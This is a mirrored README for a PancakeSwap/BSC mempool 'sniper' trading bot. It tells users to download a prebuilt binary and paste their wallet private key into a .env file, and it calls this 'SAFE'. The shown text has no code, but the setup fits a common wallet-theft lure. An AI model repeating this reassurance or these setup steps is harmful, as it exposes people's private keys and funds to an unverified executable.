Giter Site home page Giter Site logo

pancakeswap-bsc-sniper-bot's Introduction

PancakeSwap and BSC txpool/mempool sniper bot

Purpose

This bot is a fork of an existing bot that I was trying to help my group with. After spending hours providing technical support to help them run it, I decided to fork it and update it to make it easier to use. No dependencies, nothing to install. Just download the bot for your operating system, create the ".env" file, and pass in the token you want to snipe in the command line. I have tried my best to make this as simple and easy to do so that anyone can use it without being a computer expert.

What does this bot do? It allows you to compete with other trading bots when buying a token on PancakeSwap. Its faster than traditional bots because it watches the txpool/mempool where transactions are still "pending" on the BSC network. It will watch for when liquidity is added as a pending transaction and immediately submit your order, so that hopefully you get in right after liquidity is added and before everyone else.

It can be used for fair launch projects, if you've missed the whitelist, or the private or public sales and you still want to buy immediately on PancakeSwap pair creation or when liquidity is added. We all know its impossible to compete with bots when buying manually. This bot evens the odds to play with the big boys.

Features

  • Operating with PancakeSwap: Router v2
  • Specify options like gas price, gas limit, BSC node, etc
  • Free

Requirements

NOTHING. No need to install nodejs, modules, edit json or javascript files. HOWEVER, if you want to go the manual route, the source code is in this repository. Knock yourself out, but you are on your own. Don't ask me for help. The whole reason I did this was to avoid being someone else's tech support.

Installation

  • Download the release for your operating system (Windows, macOS, or Linux).
    • Also download the "default.env" file from the same page.
    • THE SNIPER BOT AND THE ".ENV" FILE MUST BE IN THE SAME DIRECTORY
  • On macOS and linux, you may have to make the bot executable chmod +x txPoolSniper-linux or chmod +x txPoolSniper-macos
  • RENAME the "default.env" file to ".env"
  • Open the ".env" file with a text editor
    • For RECIPIENT, paste your BSC address after the equals (=) sign.

    • For PRIVATE_KEY, paste your wallets private key after the equals (=) sign.

      • THIS IS SAFE. It is needed in order to snipe, obviously.
    • OPTIONALLY you can specify a different BSC node to use to snipe with using the BSC_NODE_WSS variable.

      • This can be any public or private node that supports websockets. The default server is "wss://bsc-ws-node.nariox.org:443".
    • OPTIONALLY you can also specify the PURCHASEAMOUNT (in BNB), the GASLIMIT, and the GASPRICE. The default values are already in the ".env" file.

  • Once you are done editing the ".env" file, SAVE IT. You are now ready to snipe.

Usage

Open the command prompt or terminal (depending on your OS) and change to the directory where you saved the bot and the ".env" file.

Required parameters:

  • -t or --token - this is the contract address of the token you're wanting to snipe starting with 0x.

Sample command:

  • txPoolSniper-win.exe -t 0x580de58c1bd593a43dadcf0a739d504621817c05
  • ./txPoolSniper-linux -t 0x580de58c1bd593a43dadcf0a739d504621817c05
  • ./txPoolSniper-macos -t 0x580de58c1bd593a43dadcf0a739d504621817c05

If you wish to use the bot at same time for multiple snipes, simply open another command prompt or terminal. You can run as many as you wish.

pancakeswap-bsc-sniper-bot's People

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.